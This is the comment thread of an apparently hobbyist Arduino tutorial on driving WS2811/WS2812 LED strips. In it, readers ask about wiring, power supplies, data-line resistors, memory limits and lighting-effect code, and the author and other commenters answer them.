I received error “‘c’ was not declared in this scope”.
Here’s the code (what you gave me and I added the top, but not sure I did that correctly):
#include <Adafruit_NeoPixel.h>
const int PIN = 6;
const int pingPin = 7;
const int numLeds = 8;
Adafruit_NeoPixel strip = Adafruit_NeoPixel(numLeds, 8, NEO_GRB + NEO_KHZ800);
void setup() {
c = strip.Color(255, 255, 255); // define the variable c as WHITE (R,G,B)
strip.setPixelColor(10, c); // set LED 10 to the color in variable c (white)
strip.show(); // Update all LEDs (= make LED 10 white)
}
void StartFades()
{
// Make sure all LEDs are off
for (int i=0; i < strip.numPixels(); i=++) {
strip.setPixelColor(i+q, 0); //turn every pixel off
}
strip.show();
// Do this for every LED “loop”
for (int activeLED=0; activeLED < strip.numPixels(); activeLED++)
{
// Fading the active LED in, so one step at a time get red, green and blue to 255 (max brightness)
for (int fadeIN=0; fadeIN <= 255; fadeIN++)
{
strip.setPixelColor(activeLED, strip.Color(fadeIN, fadeIN, fadeIN)); // set red, green and blue
strip.show();
delay(10); // change this to a lower number to go faster, or higher to go slower
}
delay(10); // change this number if you want to change the delay between fading IN and OUT
// Fading the active LED out, same here, just getting red, green and blue to go to zero (off)
for (int fadeOUT=255; fadeIN >= 0; fadeIN–)
{
strip.setPixelColor(activeLED, strip.Color(fadeOUT, fadeOUT, fadeOUT)); // set red, green and blue
strip.show();
delay(10); // change this to a lower number to go faster, or higher to go slower
}
delay(10); // change this number if you want to change the delay for going to the next LED
}
}
Kathleen
Hi Kathleen,
sorry for the quick and short response, I’m in the middle of something here, but this might help you get started, and don’t feel bad for not knowing everything – neither do I and I had to start not knowing anything as well …
First of all the ‘c’ error means that the variable (c) was never declared.
Second point is that you’re missing the “void loop()” function, which is needed (in this case) to call the StartFade() function.
I did not see any code for the proximity sensor, but let’s get the LEDs to work first – one step at a time right?
The Setup() function is called by the Arduino at power up and initializes the LED strip and it’s code.
The Loop() function is the function that the Arduino keeps repeating indefinitely. So normally, you’d try to catch the proximity sensor catching a person in front of your sculpture.
In the code above I’ve added the missing “c” declaration, modified the setup() function and added the loop() function.
Now keep in mind: the Arduino will keep looping the loop() function, so if my fade code works well, then it will keep repeating that over and over again until you unplug the power.
hans
Thank you for this great tutorial!
would anyone happen to know a place where people could share codes of some neat lighting effects?
Cindy W
Hi Cindy – thank you very much for the compliment!
I like the idea of creating a place where folks can share their lightning effects!
I’ve seen some interesting ideas so far with the visitors here.
For now I’d recommend posting in the forum – which would allow attachments as well (code, pictures, etc).
I started a topic just now for that purpose. “Arduino/WS2811/WS2812 – Share you lighting effects and patterns here … ” …
I’m curious to see who is going to post what kind of effects …
hans
Hi,
I have a WS2811 that is 12v, which will be powered separately from my Arduino UNO.
but do I need something to isolate the DI? is the PWM effected by the voltage difference?
Thanks
firefly
Hi FireFly,
If you follow the same wiring as seen in figure 4 (above), you should be good to go.
…
Granted, I have never tried a 12V WS2811, but the data (Din) will be using 5V no matter what.
Just don’t mix ‘m up
Since I never had hears of these 12V strands, I decided to look around a bit and found this Arduino Forum Thread – maybe you’d like to read that one.
From that thread and from this one, I understand that the individual Red, Green and Blue LEDs might not be addressable.
So you might want to look into that one.
hans
Hi Hans,
Thank you for the reply and links.
So far good, it works as wiring in figure 4, and the 12v WS2811 has a chip for every 3 LEDs, so it is addressable in group of 3s, which is fine for what I am doing. I read the threads that you posted links to and people posted saying both the LED strips and Arduino must be grounded together. I am using one 12v 3.5 amp power supply, with a LM317 voltage regulator configured to give me 7volts to the Arduino, I have a clone, SainSmart UNO which calls for 5~10 volt input.
BTW, this is Cindy, I posted earlier before I had an account.
now I need to check out the example sketches and learn the programming side.
I do hope people share some on the new forum thread you made.
firefly
Hi Cindy
I’m curious myself if folks want to share their effects in the thread as well …
For those who missed it, we have started a Forum thread for posting sketches of LED effects.
Please post your sketch!
hans
Hello!
Thank you so much for this wonderful guide. I’ve been trying to get my strip to work properly for almost a year now and I’ve constantly been running into problems of weird flashes and glitches that seem to build up over time whenever I connected the strip. Now my soldering skills are absolutely crap so I was/am pretty sure I was damaging the lines when I tried to solder the strip and I’ve taken off many pieces from the line but I still haven’t found a solution. I then started suspecting the voltage of my breadboard power supply, especially after reading a few reviews about how the 5v rail sometimes outputted 12v in certain ones. I thought that might be it, but after doing a quick check I’ve discovered in fact the 5v rail is outputting somewhere around 4.6v. I wonder if this could be the reason for the weird glitches. I have to note I was using my arduino as a voltmeter so it wasn’t super accurate.
Now I’ve ordered a relatively cheap APA102 strip off ebay that should arrive soon. Hopefully if I can try it out with some solderless clips I can figure out once and for all if it is the strip itself thats faulty, my soldering skills or the power supply.
fetret
Hi Fetret,
Weird flashes and glitches feels like either contacts not working great or failing LEDs (only one failing LED is enough to make the rest go nuts).
Doe these glitches start as off a certain LED? Or it’s just the entire strand?
I don’t think 4.6V should be a problem, unless it’s your power-supply tanking the voltage because it cannot keep up.
You could try a more powerful power-supply, or use a shorter strip. And if you go the shorter-strip route; try different pieces, to see if the glitch only happens in one part (trying to narrow it down to the LED that causes the issue.
You could (depending on your strip) leave +5V and GND connected to the strip, but move the Din wire from the first LED to the second LED and see what happens. Keep moving it to the next LED until the glitches disappear.
I have zero experience with APA102 and APA104 LEDs … so I have no idea if they are any good or not.
hans
Thank you so much for the quick reply.
I’ve tried moving Din multiple times, but not much seems to change. The flashing doesn’t happen when I only use one or two leds on the strip but anything else causes a problem. I’m more and more convinced that there is either something inherently wrong with the strip itself or my soldering consistently messes up the leading LED(s) in the same way because the result is almost always the same (weird colours flashing instead of what I communicate, random assortment of rainbow colours etc…). It could also be the voltage tanking under load which I’ll have to check too.
I’ll post my results once I get the APA strip, hopefully it’ll change something.
fetret
Sounds like you’re right about the strip having issues.
As for the colors mismatching; could it be that the color order is different?
For example: some strips work with RGB, others with GRB, etc.
I’d be interested to see what the APA strips can offer … I have seen ads for them, but never bought one.
hans
Hey There,
may I ask you a question? I really appreciate your article and your work – thank you for that! I am looking for a way not only to control the arduino via the software but to use a lightdesk and artnet to control it. Do you have any experiences or do you know a well explained blog like yours, that could help me? Thanks in advance,
yours Julius
Julius
Hi Julius!
You’re always free to ask questions … and thank you for the compliment!
I have no experience with Lightdesk / Art-net whatsoever.
I did however find this Github project that seems to offer an Arduino Library for use with WS2811/WS2812 LEDs (and others, since they seem to use NeoPixel). As far as I can see in this example, you’d need an Arduino, an Ethernet Shield, and a LED strip.
Not sure how this fits in to your question, but I did see this DMX to WS2811 controller on eBay as well. Maybe that is easier/helpful too.
But keep in mind: this is the first time I look at this particular topic … when looking for information online, things get a little confusing. I have the impression that you’re talking about a “protocol” (DMX) that can be used for all kinds of devices and can be controlled with (for example) an Android App. I did find some control specifications here for those interested.
Interesting topic though, and I’m sorry I can’t provide much more help (at this time).
If you have any specific links, feel free to post them here.
Oh, … and I think you’re right that a good guide for Art-Net might not be bad to have. What I have seen so far as pretty vague or very technical.
hans.
Mike Cook
Hans, i have to say you seem to be one of the most helpful I’ve seen so far in my forum searching. I’m just now learning how to use a strip of Neopixel interfaced with an Arduino, i find the hardware easy enough but its the programming i seem to be running into a roadblock. Due to the many different ways to program these its difficult to find consistency so people like us can modify the code.
So thank you for you work and example code.
And of course the compliments don’t come free :) I’m hoping to lean on you for a little project that i am trying to accomplish.
The first of 2 questions i have, start with using your strobe code.
I am trying to figure out how to program segments of a strip to strobe in different colors and different strobes. The closest example i can think of is police lights. I have a strip of 144 pixels that work great with your code but I would like to start with 6 segments. I believe i would have to add and int for segment 1, segment 2 etc. Just at a loss how to do that using your examples.
Eventually i would like to add other effects and rotate through them with a push button.
Hope you had a great holiday
Dan
Dan
Hi Dan!
Thanks for the compliments, I wish I could be more helpful, but I have been doing a lot of traveling lately, so I haven’t had as much time to help as I’d like to.
But, this week I’ll give it another try, since I will have more time available. (just got back)
I will try to get back to asap,…
Hope you had a great holiday as well!
hans
Dan, am I understanding this right that your question is similar to this one in the forum?
hans
Never mind, that particular user was looking for a different approach it seems.
Do the 6 segments “strobe” at the same time? (so ON and OFF at the same time)
hans
To prevent large postings with code, I started a Forum topic for your question, hope you don’t mind …
hans
Shoot, forgot to post the link:
//
hans
Hi Dan,
I created a piece of code in that forum post that might do the trick (toggle switch not included).
hans
I didnt expect a response so quick as soon as i get home from work i will check it out.
Thanks a bunch for that!
dan
You’re welcome – had a little bit of time on my hands, so I tried figuring it out for you
hans
Hello guys!
I’m having some troubles with my led strip..
It’s a ws2811 strip.. but it has a kind of a unusual behavior.. Because when the led’s are on 12 volts power supply it start a kind of demo of all leds..
But when It’s connected to the arduino following the example and run a code.. my strip goes crazy like I have done something wrong with my supply…
I’m not using the 470 OHM resistor on data.. could be because of it?
Cristiano
Hi Cristiano!
Unfortunately, I have no experience with 12V powered LED strips.
If this indeed is a real WS2811, then it commonly is powered with 5V (did you try that? Wouldn’t hurt the strip).
I have seen one or two other users here that use such a 12V strip as well, maybe they can chime in?
You might also want to check the Boblight Project, since there will be more users there that might be able to answer your question.
Personally; I doubt the resistor, or lack there of, will cause this. I suspect this might not be a “real” WS2811 and the code sent by the Arduino might actually be the wrong kind for your strip. Then again; I have not played with 12V powered strips before.
hans
My first purchase were 12V LED strips, but they were not WS2811. They were single color and ran from 12V.
Perhaps you can post a link of the product in question.
L.K.
[…] der Demosketch (nutzt die Adafruit NeoPixel Library und wurde hier […]
Bedankt voor de duidelijke uitleg! Dat was nu precies wat ik nodig had ;)
Marijn
Marijn
Mooi om te horen!
En dank je wel voor het de moeite nemen om een bedankje te posten!
hans
I think this project causing shorts to my pc PSU. Can anyone familiar with this phenomena? One of the symptoms is a PC restart loop.
I have 5v/10A PS with the GND and +5 (capped) connection to one LEDS(2812b) end. to the other LEDS end, I connected the data (w 470ohm ) and GND to the Arduino, which than connected via usb to the pc.
Hope someone can help on this.
Thanks
Tal
Hi Tal,
sorry to hear you’re running into trouble there.
You’re the first one to report such an issue.
I can only image a few reasons why this might happen.
1) The LEDs are powered by your computer, which would pull way to much on your USB port.
This can happen when the extra power supply is not connected properly.
2) Somehow there is a short close to the USB connection, again draining too much power from the USB port (because of the short).
I’d go through all my wiring, and consider testing a different USB cable.
Try connecting the Arduino, without the LED strip or extra power supply being connected. If that works OK, then we at least can exclude the Arduino and the USB cable.
hans
Hi thank you for your answer.
As being the first one is not very encouraging, hope we can find a solution.
Aren’t any tests I can do for each step? The voltmeter doesn’t show anything out ordinary.
I have to much LEDS in order for them to be powered by the pc, either way you think I should switch the wiring to a thicker ones? Most of them are 24awg.
Is there a way to test a usb cable connectivity ? It reads and writes to the Arduino board with ease.
Thanks
Tal
Hi Tal,
we will figure it out
…
First of all, I assume you wired it like shown in figure 4 (above).
We also know the USB cable powers the Arduino and can read and write.
What happens when you completely remove the additional power supply and LED strips?
Do you still get the problem with your computer becoming unstable? If so: try another USB port.
Using thicker wires never hurts I assume, so worth trying for sure.
hans
Well the wiring are same in principal as figure 4 but differ in their places. As I said earlier the PS and Arduino wiring are found in each end of the led strip where Arduino is on the strip start. Also I use the GND next to pin 13 and a cap (6v 1000uF) bridging between 5v and GND of the PS. These are the only different from fig 4.
The effect on the pc is mostly when I restart. the rebooting for a sec repeat it self until discharge completely by several means. For Now my pc is at the shop for repair under warranty. As it crash again and didn’t wake from the restart loop.
So any tries succeeding a clean reboot without the LEDs and PS or different port were in vain as I guess the dis/charging/harming were already made while in use.
Thanks
Tal
I guess I’m a little confused on how the PS is connected.
The power for the Arduino should not come from the PS when connected to your PC. Is this the case?
hans
Arduino is only connected to led strip via data and GND.
Take a look in this very professional sketch
Tal
Awesome!!! Did you use a special pro tool for that
…
Just kidding, it show very clearly what you’re doing!
Seems alright to me, I never used a capacitor though, but that should not be causing any issues.
You could try using a cheap USB hub to protect your PC (not 100% sure if that would 100% protect your PC).
hans
Hello I was wondering if someone may be able to help me with my project. I have created a 10×10 matrix of individually separated 2812Bs and I would like to create a program or tweak a couple of preexisting programs that would allow me to have the letter E in the middle of the grid and then in the surrounding leds they would be going through random animations like rainbow, chaser, theater ect… I have downloaded the FastLed library but have no experience in programming and the language is practically Chinese to me. I figure there must be a way to manipulate the existing codes in FastLed and tweek them to have the E light up its own color. Any advice would be greatly appreciated.
Thank you in advance
Trevor Rau
Hi Trevor,
I would recommend posting in our Arduino forum, I’m sure I or other can help you out!
When you do, please consider adding a link here to the forum post, and in a link the forum post to this comment (see “Comment Link” above your post here), so we know it’s related to this comment.
hans
This is the Link to the forum topic.
hans
If anyone has any Arduino code for scrolling text with strips of LEDs 2812B would appreciate and would be very grateful!
Daniel Fernandes
Hi Daniel,
I do not have played with such a setup yet, but did find some articles that might get you started:
– Simple scrolling LED Sign for NeoPixel (WS2811)
– Bigger is better: Build an Arduino-powered monster scrolling LED sign for about $15 a foot
That last article actually looks pretty good …
Hope this helps!
hans
Thank you Hans … I’m reading!
Daniel Fernandes
You’re welcome!
hans
The Adafruit NeoMatrix libraries will have what you need in them for scrolling text. And you can preset the size of the matrix and starting pixel location in the string/grid.
Dan
dannlh
Could you guide me directly to the code (sketch) for this? Thank you
Daniel Fernandes
Thanks Dan for helping out
@Daniel: Google is your friend …
You’ll find a detailed explanation here and the code at Github can be found here.
Hope this helps you get started
hans
Thank you Hans!
Daniel Fernandes
Hi, I wander how to close all leds at once?
svd666
I’m not aware of an easy way except by using a loop:
FastLED:
NeoPixel:
Hope this helps and I hope I didn’t make any typos haha
hans
Thank you so much for your reply
svd666
You’re welcome
hans
Hi Hans! thanks for the amazingly detailed guide, this is just what I was looking for! I have a 5M strip of WS2812B LEDs, with a 5V 2A power supply (may not be enough) and an arduino Uno. Unfortunately I think I may have fried the data connection. I had crossed lines and ended up running the 5V input into both the +5V and data input for the LEDs… neither the Adafruit or fastLED code above seems to do anything for my lights. Do you think it’s likely that my whole strip of LEDs is bust?
Sean
Hi Sean,
thanks for the compliment
….
2A for 5M LED strip will probably not be enough indeed … so I would either try a shorter strand (ie. a meter) and see what happens, or consider getting a more powerful power supply. Shorting might or might not have fried things. The only way to find out is by testing a shorter strip, or a different Arduino, and/or a different strip, and/or a different power supply. I’m not aware of any easy tricks to test this unfortunately …
hans
Hi Sean,
The data line does not pass directly through each LED. It goes to the controller chip and then is repeated on the output line by the chip. Also 5v on the data line shouldn’t bother it at all your data stream alternates between 0 and 5 volts.
What this means is that even if you mess up the first input you probably didn’t damage the second chip/led set. hook up to the second set of contacts at the snip/scissors mark on your strip. Also make sure you are hooked up to the IN data end and not the OUT end of the strip.
Make sure you have the right pin number set in your code.
Lastly try a different output on your arduino. You more likely knocked out the output pin than the LED strip.
For max amperage, figure number of LEDs × 3(three colors) × 20mA (.020A)
Dannlh
Thanks for the help! I switched the output on the arduino and nothing changed, and I tested all my outputs with some other code and they seem to be working fine, so I assumed I’ve messed up the first chip. I cut off the first LED and I’m trying to solder connections to the second set of contacts now, but even after cleaning them my solder won’t stick… I think I need to get some flux.
As far as the power supply, I was told there was a way to rapidly switch which LEDs are receiving power, so that only a fraction of the amperage is necessary to power a long strip while giving the illusion that all of them are powered. Do you think this would work if I decided to stick with the 2 amp supply?
Sean
A power supply rated for 2A is not enough.
Mine is rated for 10A.
L. K.
Did you cut off the first LED? Or the first group of LEDs marked by the scissors/cut line symbol? These have to be cut at a spot marked for cutting.
There is a way to rapidly switch the LEDs, but the question is if you can switch them fast enough for what you’re trying to do. You would have to run them so you never have more than 2A worth of LEDs on at the same time which would be about 100 LEDs.
The problem with this is that most of the software loads the whole string of data for all of the LEDs and then repeats this process to set a new configuration. I guess it all depends on what you plan to do with these. If you never have more than 100 LEDs lit in your project you’re fine. (Until you accidentally light them all and blow your power supply fuse.
)
It also takes a lot of RAM to address these strips. You may not be able to set them up to be pulsing because of a lack of RAM.
Lastly, you should note that even though maximum power is all LEDs lit as white (R,G,B full on ) most of the time most projects don’t do this. So your actual power draw is significantly lower than the full available.
dannlh
I cut off the first LED, but all of them are marked for cutting with a little scissor symbol. I rewired it now with the flux, and changed the code to 299 LEDs in my strip, but it still doesn’t seem to work. I’m unsure what could be wrong at this point, the leds still flash for a second when I connect power to them, but the Adafruit and fastLED code does nothing…
Sean
Hi Sean,
Use a slightly more powerful power supply, doesn’t need to be 10A right away like Dannlh suggested, but eventually it might be a good idea to have enough Amps available when using it full time. I would have to guess that 2/3 of the “calculate” power need should work just fine – definitely for testing purposes.
As for cutting of the first LED, if removing the first one fails, consider moving the Din pin (most likely the middle one) to the soldering pad in front of the next LED – this will effectively skip a LED/controller block. You could even simply pick one random LED in the middle to see if anything is happening, and work your way back (but I’d start at the beginning – since it’s indeed most likely that one of the first LED’s might be defective).
As for memory space, Dannlh is right about the used memory, but with an Arduino Uno you should be able to address 299 LEDs (that’s what I’m doing myself). Other Arduino models might be equipped with less memory.
hans
Welp, looks like it was the 299th one that wasn’t working. Maybe I fried it when trying to solder the wires to the contact without the flux, since I did melt a bit of the plastic. Anyways it’s working now with 298 lights :D Thanks for the help! now to either play around with the code and see if I can have the lights always use under 2A, or go out and buy another supply
Sean
Ah! Cool! That’s good to hear … well, except of course that #299 got fried
hans
Hi Sean,
Sorry, my bad. I was thinking of standard LED strip where they are banked by groups of three…
Did you set up a common ground between your strip supply and the controller power supply?
And is this a three or four connection LED strip? Probably three, but I thought I would check.
Dannlh
Thanks guys for chiming in
hans
I wonder if this 470Ω resistor is used every meter or every 5 meters strip; Thank you
Daniel Fernandes
The 470 ohm that is inline with the data line where it comes from the controller? Once per data line. (doesn’t matter how long it is.)
If you use one data line, then one 470 ohm resistor. Multiple data lines from controller then multiple resistors one for each data line.
dannlh
Hi DANNLH! Thanks for the reply!
If
I have, say, a clock with 7 LED strips, one on top of the other, then,
at the left or right end of each strip goes a resistor? Once again, thank you.
Daniel Fernandes
That’s a little vague. Are you using one data line and then chaining the strips together? (Out from first strip to in of next strip?) Multiple data lines? length of strip/number of LEDs?
You normally need one resistor per data line between the controller and a strip. Are you sending the same data to all straps?
I look forward to your reply!
Dannlh
Ok! Such that:
hug
Daniel Fernandes
Ok. Got it. You need 1 resistor on the data line between the controller and the first strip.
That panel is the equivalent to one continuous 256 LED strip hooked to your controller at one end.
You would hook each strip of 32 LEDs to the next set with wires and arrange them in a zig-zag pattern to build the equivalent of that panel
controller
|
R
|_ _ _ _ _ _
_ _ _ _ _ _|
|_ _ _ _ _ _
_ _ _ _ _ _|
|_ _ _ _ _ _
I hope my text drawing helps and shows up correctly.
Dannlh
OK! Thanks a lot for the help! big hug
Daniel Fernandes
hans
1st I’d like to say what great source of information this guide is. Well done.
Its also great that people are still replying to questions after nearly 2 years !
I am about to embark on following your guide . I have following hardware/components
My questions are .
In your diagram you show GND connected to both the LED strip GND and the Arduino GND can I do this using a breadboard ? or do I have to solder ?
The guide also mentions powering in strips of 1m , I’d like the strip to be continuous. Can I power it without cutting into strips ? If it has to be cut how would I do this with the items I have ? or do I need to buy some more connectors and power supplies ?
Many Thanks
Andy
Andy
Hi Andy!
Thanks for the compliment about folks helping out an about the article info. Thanks!
As for your questions;
Yes you can use a breadboard for connecting ground. What I actually did is use a small screw terminal (or in Dutch: Kroonsteentje) where I had the wire of the powersupply, of the LED strip and one for the Arduino connected together. So no soldering required, unless there is no wire coming from your LED strip (there usually is though).
As for powering; The 1 meter was just a suggestion. For very long strips, I’d recommend connecting the end of the strip (+5V pin) to the +5V of the power supply as well. At the same time. I’ve had it with a 5M strip that the last LEDs became more dimmed than they should be and that fixed the problem.
So there is no need to connect +5V for every 1Meter. I’d actually start with just one +5V connection, see how well things work. If you see the last LEDs not being bright enough, then you can still connect the +5V to the end of the 5M strip.
Hope this helps.
hans
Hi Andy!
Just to reiterate Hans’ answer, you may need a +5v supply line at both ends of the strip.
As power is drawn down the length of the strip there is loss due to resistance in the copper in the strip. This means that you may not actually have 5v at the far end of the strip away from where the 5v is hooked up. The way to alleviate this is to hook a second +5v to the far end of the strip so that power can be drawn from either direction at either end on the strip.
This doesn’t mean that second supply, just a second 5v wire running the length of the strip and hooked to the far end.
Dannlh
I forgot to mention the ground.
You need to hook he ground of the power supplies together so that both the strip and the controller have a common 0v reference.
This is important for the data line that is hooked to the strip. If you only had the data line and no common ground it would be like half of a circuit. The data would go to the strip and have no reference to the controller, and the strip wouldn’t be able to read the data coming in because it wouldn’t be able to figure out 1 and 0 from the single line.
Common ground between multiple systems is critical for them to work.
Dannlh
Thanks Dannlh for the little tidbit I should have mentioned!
hans
How do you exactly hook up the extra power supply to the strip and arduino uno?
Kandykizziz
Hi Kandykizziz,
please look at figures 4 and 5.
Figure 4 should the connection of the extra power supply when the Arduino is connected to the computer (USB).
Figure 5 shows how to connect it when the Arduino is not connected to the computer.
hans
This community seems way more friendly then others I’ve seen.
I’m wondering if someone could help me here with the concept of “Interrupts” as I know FastLED does not like them all that well, but it’s not just the FastLED library. It’s just about anywhere I use the good’ol fashion “delay” depending on it’s duration. I’ve spent entirely too much time digging more into using “millis()”, just can’t seem to get my head wrapped around it…must be getting old, but I can do the heck out of C#, just not C itself anymore.
I took an excerpt from a gentleman on YouTube and began playing around with it adding serial functionality. His excerpt, I put into the function “rainbowCycle” which believe it or not, I can hit the “1” key on my keyboard, it starts right up and I can hit the “9” key and it stops immediately over and over. However, when I use the other function “colorChase”, it starts with no issue but whenever I try to interrupt it by hitting the “9” key, it seems to want to continue the loop until the “delay” is done, then displays “Quitting…”. Why would his rainbowCycle one work to interrupt immediately with the press of key “9” which is also using delay, but the other function will not? Is it more than likely because the “delay” is in the for loop being iterated?
How would I be able to make this work, the correct way?
Thanks
muttBunch
The rainbowCycle function returns after just one delay so the code always gets the opportunity to look at the serial input every step of this cycle. Where as the colorChase function has a delay that is called for every LED in your strip and only returns after 100 * 16 micro seconds or 1.6 seconds. To improve this write the colourChase as a state machine. This means do not have a for loop but make that loop index into a static variable. Then increment that variable and check if it has overflowed and reset it back to zero, then do the other instructions and return with just one LED being changed.
Mike Cook
Hi MuttBunch!
Well first of thank you very much for the nice complement!
Let me start with the request to move this topic to the Arduino forum topic, as soon as we start posting too much code and/or go too far off topic.
OK, back to your code, where I noticed this:
The rainbowCycle() just changes all LEDs only once.
So the loop counts all LEDs, sets a color value, waits and after that it calls the LEDS.show() to make the colors visible and then exits the procedure, so a interrupt can be caught.
The colorChase() however works differently.
For each led, a color is set AND displayed (ie. FastLED.show() is called in the for loop).
So during the “chase” the loop is not exited, where as the rainbow function exits after setting each LED.
This is most likely the reason why it will finish the colorChase() loop before completing the interrupt.
Hope this explains it a little bit
hans
Thank you Hans. This does make better sense now. I appreciate you guys taking the time to look at this for me.
I started looking into Mike’s state machine idea and now I understand that and also see what you mean is happening in the colorChase() function.
Thanks again, much appreciated.
muttBunch
You’re most welcome MuttBunch!
hans
Hello everybody,
I made a frame for my tv , fixed the leds ( 93) to it, made a test with the Arduino uno, adafruit neo pixel and did a strandtest and everything works fine… Now I want to make Enigmalight/Boblight working. Can somebody here help me to explain what I exactly have to do because I must be doing something wrong. The Arduino wil be connected to my satellite reciever (Mips) and he must provide the signal for the leds…
thanks in advance
Benno
Hi Benno,
it sounds like you’re using a specific firmware (OpenPLI maybe) on your sta receiver.
There is a specific driver needed for that, but since I haven’t been playing with sat receivers in a very long time, I wouldn’t be able to tell you which driver. I have heard people do it though. This might be good place to get started: OpenPLI.
The basic setup is: Sat receiver running a Boblight variant -> USB -> Arduino -> LED strands.
hans
Thanks for the reply! I must say your work helped me a lot,I’ve been reading and testing for 2 weeks now to finally find out that my Arduino clone didn’t work with my satreciever. Now I have a real Arduino Uno and everything works now.Exept the fine tuning…when I run the videotest the basic colors work, but when the blocks start…there is something wrong in my Enigmalight.conf I think? Can you check this out? The strip starts in the middle left (front of tv) clockwise.Can I send you my conf. file?Because I don’t know how to upload here…
eurostar
Hans, I’ve send you the file on the forum…
eurostar
Yeah, using clone Arduino’s tend to come with their own share of challenges …
As for the code, I’ll try to find some time today to take a look … but for some reason I cannot find your post in the forum.
If you can, please post the link here. Also, if you posted just the file, then the forum might not like that …
hans
Found the file in the forum
hans
I added a comment in the forum – let’s continue there …
hans
Hi, Thank you for this information. I’m just starting out, and I purchased a strip of WS2812’s. All I want to do is to individually turn on the pixels in my strip to make an American flag. Every time I find an example for working with the code and the WS2812’s its the same thing. We get an example of all kinds of effects. Can someone please post the code I can put into Arduino Due to control each led by itself so that I can make things?
Maxxgold
Hi Maxxgold,
I’d be happy to see if I can help … what are you thinking of when you say “American Flag”? Red, white and blue, or an actual flag (ie. matrix)?
A topic concerning rotating flag colors can be found in the forum (see this topic), but if you let us know what effect you’re looking for I’d be happy to show example code.
hans
I tried to work the flag mentioned in this comment, but all I got was errors when I tried to run it. I’m not sure if the library that supported that code has been changed, but I kept getting errors that addressed the version of the library.
Yes, an American Flag. I have the matrix set at 30 columns by 8 rows. I took a 240 LED WS2812 strip and soldered it together. The strip works perfectly, but with my limited knowledge I’m having issues. I’m interested in functions and arrays, if statements and loops, and I understand the concepts, but I have zero experience, and I simply want to start with being able to address 240 WS2812 LEDS individually. Once I understand how to turn them on in RED, WHITE, and Blue, then I will try to do some studying, and learn to do more. I have ordered this book, so I’m hoping to learn more. Programming Arduino: Getting Started with Sketches, Second Edition
I have installed the NeoPixel library as well as the FastLed library. I have run the examples that you posted above with no issues. Any help would be appreciated. Also, if you have any recommendations of where to start for beginning programming I would appreciate it. I’m really having fun with the LEDS, and would like to start learning to program by writing code for LEDS, because it is very rewarding to see the code come to life so fast. Thank you in advance.
Maxxgold
Hi Maxxgold!
Jumping straight into the Arduino (C) and the use of matrices can be challenging indeed.
If you’d like to lear more about programming the Arduino, I did write a simple “course” to get started: Arduino Programming for Beginners.
I know it’s not perfect, but it might be helpful and/or be a reference.
To create the American flag, in a 30 x 8 “matrix”, I’ve started a topic in our Arduino forum.
Once we have a good piece of code, I’ll add it to the effects, or write a new article so others can enjoy the code as well.
You’ll need to register to be able to post in the forum – but no worries: it’s free and your info will not be shared.
It also prevents this comment area from becoming excessively long because of postes source codes.
hans
Thank you Hans,
I just took a look at your course, and it looks like a great place for me to start! I’m going to sign up now and get started. Thank you!
Maxxgold
I’m having issues logging in. I created a username and I got the auto e-mail password. I turned off all my add blockers, but it will not log me in.
maxxgold
I’ve managed to log in. I had to disable add blocker and clear my cookies.
maxxgold
Glad to hear it worked … finally
hans
Could you tell me the equation or the answer of how many LEDs can the Arduino Mega 2560 support that you have tried or know.
Thanks!
Larry
Hi Larry,
I’m not sure what you’re looking for.
As for the maximum number of LEDs that can be connected without a special power supply for it, see this post in the Arduino Forum.
However, when you’re talking about using (for example) WS2812 LEDs and a dedicated power supply for these LED strips, then I honestly would not know what the maximum number would be. I’v connected over 300 to mine without a problem.
I did find a question concerning the FastLED library which might be helpful for you.
The comment by Daniel-dk is pretty good, I posted his post here – the original source is here where you can find even more info – I hope this is helpful for others as well …
original post by Daniel-dk
It depends on a few things, generally they are:
Uno/Leonardo/micro/nano : I wouldn’t go above 512 LEDs ( 1.5kByte of SRAM reserved for LEDs ),
Mega : I’ve done 1000 LEDs but not with many other things happening. ( 3 kByte of SRAM reserved for LEDs )
DUE/Zero : quite a lot of LEDs ( multiple controller examples ) never more than 1000 per “FASTLED controller” to keep frame-rate above 30.
The reasoning behind this:
SRAM usage
Each LED ( or CRGB array entry ) uses 3 bytes of your SRAM.
The application on your uC will crash – sometimes “randomly” sometimes reliably – when it has too little SRAM to hold the datait needs to work on.
The amount of SRAM available for LEDs depends on what else the controller is doing that also requires SRAM buffers or “chunks” such as :
Arduino Leonardo, Micro, Uno, Nano only has 2.5 kByte of SRAM,
Mega has 4 kByte SRAM.
Due, Teensy has oodles of SRAM, , DUE has 96kByte
Zero / MKR1000 has 32kByte SRAM
Required framerate – mostly to keep the animations or video frames looking smooth
Power supply rating ( and cabling used )
hans
umm i think mega 2560 r3 has 8kb sram, not 4kb. Nope?
stan
Hi Stan!
There is a great overview on this wiki page.
It states that the 2560 has 8 Kb SRAM – the product page on the Arduino website confirms that.
Now, keep in mind that this is for the official Arduino 2560, clones (some are listed on that Wiki page as well) might have more or less memory, although it looks like they all have 8 Kb.
hans
Oh i see. Clones have 4kb. Hurray for me that i choosed orijinal mega
stan
That’s also why I recommend folks to use the original Arduino’s;
1) You know what you get specifications wise,
2) it’s a good quality product,
3) it’s compatible,
4) you contribute a little to the original developers …
hans
Thanks for this tutorial. I was spot on what I needed. Whoever you are thank you.
Keep up the good work…….
Neel
Thanks Neel for taking the time and effort to post a Thank-You … it’s very much appreciated!
hans
This is going to be something beautiful!
I have only just got my first strand to illuminate and all ready I feel my head is going to explode with ideas.
Probably there will be a request for help soon
(I’m not sure how old the threads are that I have been reading but I hope your move to Holland went well…)
Neel
Haha, well that’s how I felt when I got mine to work the first time … it’s opening a can of worm when it comes to ideas hahah.
Even the urge to start buying these strands in bulk …
If you have any questions; feel free to ask!
If related to this specific topic, you can ask right here.
If it more generic or for your own little project(s), feel free to use the Arduino Forum (to avoid that we post too much in the comment section here).
hans
Hi Hans,
my initial enthusiasm was soon dampened when I realised I have 0 coding skills!
Like learning a language I am no good at studying I have to get out there and try.
So hopefully you can help me with a simple sketch to get me started. (Let me know if I should post else where). My set-up probably doesn’t help.
I am using a Funduino UNO (i bought it just to try, ill get a genuine Arduino soon, I promise).
I have 50 pcs string of SK6812 – WS2812B (Its a white mix pixel) probably doesn’t make things any easier. But I like the white mixing and suits my project ideas.
So, I have tried the two starter sketches you posted above. The FastLED sketch did not work, lots of error notifications. However the Adafruit sketch worked fine.
I tried to hack the sketch to see if I could use bits of the code separately but I couldn’t get anything to work.
I would like to create a grid with the pixels and be able to set each individual pixel to a colour and transition with a fade in and fade out and create some animations. I will start with a 3×3 grid and then slowly increase size and complexity. But I need to start small and get to grips with this coding
So if you have any simple code to get me started I would be very appreciative. Thanks so far…………..
Neel
Hi Neel,
